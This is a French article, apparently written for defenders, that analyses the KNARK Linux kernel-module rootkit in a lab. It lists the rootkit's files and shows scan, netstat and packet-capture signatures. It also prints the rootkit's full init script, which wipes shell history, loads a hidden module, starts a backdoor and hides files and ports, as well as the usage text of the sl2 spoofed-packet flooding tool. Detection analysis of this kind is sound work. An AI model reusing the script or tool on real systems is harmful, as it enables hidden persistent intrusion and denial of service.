But
Le but de cet article est d'identifier des signatures liées au rootkit KNARK. Cet article ne montre pas comment installer le rootkit ni ne fait de comparaison entre ce rootkit et tout autre rootkits. Cet article essayera d'instruire les lecteurs sur les divers signatures et problèmes liés à ce rootkit.
Qu'est ce qu'un rootkit?
Un rootkit est une collection de fichiers/programmes employé par l'attaquant(s) pour resaisir un reseau/ordinateur sans être detecte. Normalement un rootkit viendra avec divers exploits pour aider l'attaquant a penetrer un systeme. Récemment, plusieurs exploits ont été associées avec des vulnérabilités communes trouvées dans BIND, Linux line printer et le programme de ftp de Washington University.
En plus des exploits, beaucoup de rootkits également viennent avec et installent des sniffers. Ceci est fait parce que les attaquants veulent capturer des mots de passe des utilisateurs entrant sur ce réseau; un renifleur peut faire ca et c'est dur à detecter. Un rootkit peut également changer les binaires communs de sorte qu'un administrateur occupé ne les détecte pas.
Des binaires communs sont des binaires qui peuvent être employés pour surveiller les systèmes: /bin/ps, /bin/ls, /bin/netstat, /usr/bin/lsof, /usr/bin/top (ce n'est pas une liste complete); Maintenant que nous avons couvert des bases des rootkits, jetons un regard au rootkit en question.
Le rootkit KNARK
Récemment il a y eu beaucoup de discussion du rootkit KNARK sur la liste des incidents et beaucoup de bonnes références (énumérées à la fin du papier) ont ete citees. J'espère que cet article vous fournira une information certaine et utile. Le rootkit KNARK a m'été envoyé par un ami (un certain huh d'ami?!) pour regarder et analyse. Le tableau 1 énumère les fichiers qui viennent avec KNARK :
|
Table 1: Liste des fichiers venant avec KNARK |
|
Makefile |
apache.c |
|
Apache.cgi |
backup |
|
Bj.c |
caine |
|
Clearmail |
dmesg |
|
Dmsg |
ered |
|
Exec |
fix |
|
Fixtext |
ftpt |
|
Gib |
gib.c |
|
Hds0 |
hidef |
|
Inc.h |
init |
|
Lesa |
login |
|
Lpdx |
lpdx.c |
|
Make-ssh-host-key |
make-ssh-known-hosts |
|
Module |
nethide |
|
Pgr |
removeme |
|
Rexec |
rkhelp |
|
Rootme |
sl2 |
|
Sl2.c |
snap |
|
Ssh_config |
sshd_config |
|
Ssht |
statdx2 |
|
Sysmod.o |
sz |
|
T666 |
unhidef |
|
Wugod |
zap |
Apres avoir jeter un coup d'oeil a certains des fichiers, j'ai decide d'installer
le rootkit. Knark vient avec un fichier nomme exec (voir table 1) et quand ce fichier est
execute, plusieurs choses se passent:
1) Creation des repertoires:
/dev/.pizda and /dev/.pula (pas capable de le voir avec ls. Utiliser cd /dev/.pizda).
2) Insertion de sysmod.o.
3) KNARK change aussi les fichiers S99local dans rcX.d. Cela provoque la machine un echec au redemarrage.
La premiere chose que j'ai fait apres l'installation est d'utiliser NMAP: nmap –sS –p 1-65535 192.168.0.20 et d'attendre.
|
Starting nmap V. 2.53 by fyodor@insecure.org (
www.insecure.org/nmap/ )
Interesting ports on sec-linux.lab.sec
(192.168.0.20):
(The 65523 ports scanned but not shown below are
in state: closed)
Port
State Service
21/tcp
open
ftp
79/tcp
open
finger
111/tcp
open
sunrpc
113/tcp
open
auth
512/tcp
open
exec
513/tcp
open
login
514/tcp
open
shell
515/tcp
open
printer
3001/tcp open
nessusd
18667/tcp
open
unknown
31221/tcp
open
unknown
Nmap run completed -- 1 IP address (1 host up) scanned in
33 seconds |
Figure 1. Resultats NMAP
La figure 1 montre beaucoup de choses (bonne chose, cette machine est dans un lab et pas dans la nature : ). D'abord, nous voyons qu'il y a deux ports inconnus (18667 et 31221). Ensuite, nous voyons que cette machine est chanceuse de ne pas avoir ete "rooter" une douzaine de fois.
La prochaine etape est de lancer netstat. Pourquoi? Bien, nous voulons voir si netstat va montrer les memes ports que NMAP. Si ce n'est pas le cas, nous verfierons le binaire netstat.
|
Active Internet connections (servers and
established)
Proto Recv-Q Send-Q Local
Address
Foreign
Address
State
tcp
0 0
0.0.0.0:79
0.0.0.0:*
LISTEN
tcp
0 0
0.0.0.0:512
0.0.0.0:*
LISTEN
tcp
0 0
0.0.0.0:513
0.0.0.0:*
LISTEN
tcp
0 0
0.0.0.0:514
0.0.0.0:*
LISTEN
tcp
0 0
0.0.0.0:21
0.0.0.0:*
LISTEN
tcp
0 0
0.0.0.0:3001
0.0.0.0:*
LISTEN
tcp
0 0
0.0.0.0:515
0.0.0.0:*
LISTEN
tcp
0 0
0.0.0.0:113
0.0.0.0:*
LISTEN
tcp
0 0
0.0.0.0:111
0.0.0.0:*
LISTEN
udp
0 0
0.0.0.0:518
0.0.0.0:*
udp
0 0
0.0.0.0:517
0.0.0.0:*
udp
0 0
0.0.0.0:512
0.0.0.0:*
udp
0 0
0.0.0.0:111
0.0.0.0:*
raw
0 0
0.0.0.0:1
0.0.0.0:*
Active UNIX domain sockets (servers and
established)
Proto RefCnt
Flags
Type
State I-Node
Path
unix 0 [ ACC
] STREAM
LISTENING 468
/dev/printer
unix 6 [
]
DGRAM
371 /dev/log
unix 0 [ ACC
] STREAM
LISTENING 503
/dev/gpmctl
unix 0 [ ACC
] STREAM
LISTENING 2126
/tmp/.font-unix/fs-1
unix 0 [
]
STREAM
CONNECTED 173
@00000015
unix 0 [
]
DGRAM
2711
unix 0 [
]
DGRAM
2161
unix 0 [
]
DGRAM
2130
unix 0 [
]
DGRAM
462
unix 0 [
]
DGRAM
394
unix 0 [
]
DGRAM
383 |
Figure 2: Resultats Netstat
La figure 2 est le resultat de netstat –a –n. Deux ports ne sont identifies, donc verifions
le binaire netstat. La verification necessite trois etapes:
1) Lancer strings. Cela va nous permettre de voir si un repertoire cache est stocke dans le binaire. Verifié et il n'y avait pas de repertoire cache.
2) Md5sum. Cette etape est logique. La comparaison entre
le md5sum de netstat a celui se trouvant sur le CD montre qu'ils sont identiques.
3) Lancer diff. Oui. . . c'est repetitif mais nous avons rien a perdre.
Malheureusement, le resultat est le meme. Tout est OK.
4) Dans le passé si une machine avait un rootkit installé, un administrateur pourrait rechercher les binaires et trouver des traces du rootkit. Pas facile aussi dans ce cas-ci. Le rootkit KNARK se cache réellement dans le noyau rendant ce rootkit presque impossible a trouver et analyser. Comment est-ce que ceci est allé? Bien, les attaquants peuvent faire ceci en utilisant les modules du noyau chargeables (Loadable Kernel Modules LKM). Pour quiconque qui a été dans le monde de Linux vous savez que LKM sont des morceaux de code qui peuvent être chargés dans le système d'exploitation sur demande. En fait on l'encourage que vous employez LKM afin de mettre à jour votre matériel pour votre OS, insérant des modules dans Linux n'est pas difficile, en fait insmod fait le travail.
KNARK vient avec quelques bons exploits.
1) Lpdx – C'est utiliser pour exploit la faille sur le service LPR de redhat. Voila ce qu'un IDS pourrait voir:
|
09:06:19.991789 > 192.168.1.13.2894 >
192.168.0.40.printer: S 4221747912:4221747912(0) win 32120
<mss 1460,sackOK,timestamp 4058996 0,nop,wscale 0> (DF)
(ttl 64, id 11263)
09:06:19.993434 < 192.168.1.13.printer >
192.168.0.40.2894: S 397480959:397480959(0) ack 4221747913 win
32120 <mss 1460,sackOK,timestamp 393475 4058996,nop,wscale
0> (DF) (ttl 64, id 3278)
09:06:19.993514 > 192.168.1.13.2894 >
192.168.0.40.printer: . 1:1(0) ack 1 win 32120
<nop,nop,timestamp 4058996 393475> (DF) (ttl 64, id
11264)
|
Figure 3: Signature Lpr
2) T666 – C'est utiliser pour exploiter BIND 8.2.1. Cet exploit est utilise contre Linux et FreeBSD. Une signature habituelle pour cet outil est un repertoire appele /var/named/ADMROCKS.
3) Wugod – C'est un exploit contre Washington University’s ftpd 2.6.0(1) pour FREEBSD, Linux (RH 6.2 et SuSe 6.3&6.4).
|
Slice v2.1+, credits: sinkhole, sacred.
Rewritten and 1+ by some lamerz :P
### linux version
Usage: ./sl2 <target> <clones> [-f]
[-c] [-d seconds] [-p packets] [-s packetsize] [-maxs
packetsize] [-a srcaddr] [-l lowport] [-h highport]
[-incports] [-sleep ms] [-syn[ack]]
Target - the target we are
trying to attack.
Clones - number of packets to
send at once (use -f for more than 6).
-f -
force usage of more than 6 clones.
-c -
class C flooding.
-d seconds - time to
flood in seconds (default 600, use 0 for no timeout).
-p packets - packets to
send for each clone (if used with -d is ignored).
-s size - packet size
(default 40, use 0 for random packets).
-maxs size - maximum
size for random packets.
-a srcaddr - the
spoofed source address (random if not specified).
-l lowport - start port
(1024 if not specified).
-h highport - end port (65535
if not specified).
-incports -
choose ports incremental (random if not specified).
-sleep ms - delay
between packets in miliseconds (0=no delay by default).
-syn - use SYN
instead ACK.
-synack - use
SYN|ACK. |
Figure 4: Slice (sl2) help output
Comme vous pouvez le voir, cet outil permet a un attaquant de rendre aleatoire ses paquets. Ca le rendra plus difficile a detecter.
|
09:05:26.655215 > 192.168.1.13 >
192.168.0.40: (frag 33252:20@256) [tos 0xe8] (ttl
255)
09:05:26.655701 > 192.168.1.13 >
192.168.0.40: (frag 33252:20@256) [tos 0xe8] (ttl
255)
09:05:26.656186 > 192.168.1.13 >
192.168.0.40: (frag 33252:20@256) [tos 0xe8] (ttl
255)
09:05:26.656671 > 192.168.1.13 >
192.168.0.40: (frag 33252:20@256) [tos 0xe8] (ttl
255)
09:05:26.657156 > 192.168.1.13 >
192.168.0.40: (frag 33252:20@256) [tos 0xe8] (ttl
255)
09:05:26.657642 > 192.168.1.13 >
192.168.0.40: (frag 33252:20@256) [tos 0xe8] (ttl
255)
|
Figure 5: Resultats de
Slice
Regarder la commande d'aide ne nous aidera pas en détectant ce programme, ainsi j'ai décidé d'exécuter le DOS. Le schéma 5 nous montre a quoi slice ressemble le moment où il est utilise. Garder a l'esprit que ces signatures peuvent changer (ceci dépend de l'attaquant et la façon dont le rootkit est installe).
KNARK vient avec beaucoup d'autres outils que nous n'avons pas
discuté encore. Le premier outil que nous couvrirons est gib.c. Cet outil écoute sur le port 18667 (un des deux ports que nous avons découverts en utilisant NMAP) et vient avec par défaut un mot de passe de Error. Ce programme est juste votre backdoor typique. Ensuite, nous avons un fichier appelé init. C'est une shell script MAIS, il explique pourquoi il est difficile de détecter ce rootkit.
|
#!/bin/sh
unset HISTFILE
export HISTFILE=/dev/null
unset _
/sbin/insmod -f /lib/modules/sysmod.o
1>/dev/null 2>/dev/null
if [ -a /usr/bin/gib ]
then
/usr/bin/gib & 1>/dev/null
2>/dev/null
else
echo "aaa" >>/dev/null
fi
/dev/.pizda/jesuscd -f /dev/.pizda/sshd_config
-h /dev/.pizda/ssh_host_key -q 1>/dev/null
2>/dev/null
cd "/dev/.pula" 1>/dev/null
2>/dev/null
./caine >> bashina & 1>/dev/null
2>/dev/null
cd /root
killall -31 gib 1>/dev/null
2>/dev/null
killall -31 jesuscd 1>/dev/null
2>/dev/null
killall -31 caine 1>/dev/null
2>/dev/null
/dev/.pizda/hidef /dev/.pizda 1>/dev/null
2>/dev/null
/dev/.pizda/hidef /dev/.pula 1>/dev/null
2>/dev/null
/dev/.pizda/nethide ":79F5" 1>/dev/null
2>/dev/null
/dev/.pizda/nethide ":48EB" 1>/dev/null
2>/dev/null
/dev/.pizda/nethide ":2FB5" 1>/dev/null
2>/dev/null
/dev/.pizda/nethide ":1A01" 1>/dev/null
2>/dev/null
/dev/.pizda/nethide ":1A02" 1>/dev/null
2>/dev/null
/dev/.pizda/nethide ":1A03" 1>/dev/null
2>/dev/null
/dev/.pizda/nethide ":1A04" 1>/dev/null
2>/dev/null
/dev/.pizda/nethide ":1A05" 1>/dev/null
2>/dev/null
/dev/.pizda/nethide ":1A06" 1>/dev/null
2>/dev/null
/dev/.pizda/nethide ":1A07" 1>/dev/null
2>/dev/null
/dev/.pizda/nethide ":1A08" 1>/dev/null
2>/dev/null
/dev/.pizda/nethide ":1A09" 1>/dev/null
2>/dev/null
/dev/.pizda/nethide ":1A0A" 1>/dev/null
2>/dev/null
/dev/.pizda/nethide ":1A0B" 1>/dev/null
2>/dev/null
/dev/.pizda/nethide ":1A0C" 1>/dev/null
2>/dev/null
/dev/.pizda/nethide ":1A0D" 1>/dev/null
2>/dev/null
/dev/.pizda/nethide ":1A0E" 1>/dev/null
2>/dev/null
/dev/.pizda/nethide ":1A0F" 1>/dev/null
2>/dev/null
/dev/.pizda/nethide ":029A" 1>/dev/null
2>/dev/null
/dev/.pizda/hidef /usr/bin/gib 1>/dev/null
2>/dev/null
/dev/.pizda/hidef /bin/rtty 1>/dev/null
2>/dev/null
/dev/.pizda/hidef /tmp/pgr 1>/dev/null
2>/dev/null
/dev/.pizda/hidef /var/lock/pgr 1>/dev/null
2>/dev/null
/dev/.pizda/hidef /usr/man/man3/pgr
1>/dev/null 2>/dev/null
/dev/.pizda/hidef /lib/modules/sysmod.o
1>/dev/null 2>/dev/null
/dev/.pizda/hidef /sbin/rootme 1>/dev/null
2>/dev/null
if [ -a /var/spool/uucp/zdn ]
then
/dev/.pizda/hidef /var/spool/uucp/zdn
1>/dev/null 2>/dev/null
|
Figure 6: fichier init
Figure 6 explique tout. Je voudrais souligner quelques lignes importantes dans le script.
1) Vous pouvez voir que l'attaquant reste cacher.
2) Il utilise killall –31 pour cacher
gib, jessuscd et caine. Afin de les rendre visible vous pouvez entrer killall –32(Il y a un lien a la fin de l'article qui explique ca en detail.).
3) Vous pouvez voir plusieurs references a /dev/.pizda/nethide. Un exemple est:
/dev/.pizda/nethide ":79F5" 1>/dev/null
2>/dev/null.
Bien, pour ceux qui n'ont le temps de faire les conversions hexa:
48EB = 18667
1A05 = 6661
79F5 = 31221
1A06 = 6662
029A = 12213
1A07 = 6663
1A01 = 6657
1A08 = 6664
1A02 = 6658
1A09 = 6665
1A03 = 6659
1A0A = 6666
1A04 = 6660
1A0B = 6667
1A0C = 6668
1A0D = 6669
1A0E = 6670
1A0F = 6671
Recommendations
Pour etre honnete, je n'ai pas beaucoup de temps pour de solides solutions liees aux rootkits LKM. Voila ce que je peux dire. La premiere chose est d'utiliser LIDS. Je ne l'ai pas teste,
mais j'ai prevu de le faire bientot.
Ensuite, si vous avez un rootkit LKM et que vous ne trouvez rien
(binaires changes etc..) essayer de mettre a jour votre version. La MAJ ne supprimera
pas le rootkit mais vous permettra peut etre de le voir.
Conclusion
Ce type de rootkit va a l'encontre de tout ce que les administrateurs en securite ont enseigne.
Dans le passe, les rootkits se cachaient avec des binaires modifies. Les admin utilisaient de bons binaires pour les detecter et puis fini ! Avec cette bete, ce n'est pas aussi simple.
Lectures recommendees
Concepts de developpement d'un tel rootkit.
http://packetstorm.securify.com/groups/thc/LKM_HACKING.html
Plus sur la programmation LKM .
http://howto.tucows.com/LDP/LDP/lkmpg
Phrack
http://www.2600.com/phrack/p52-06.html
et
http://www.2600.com/phrack/p52-06.html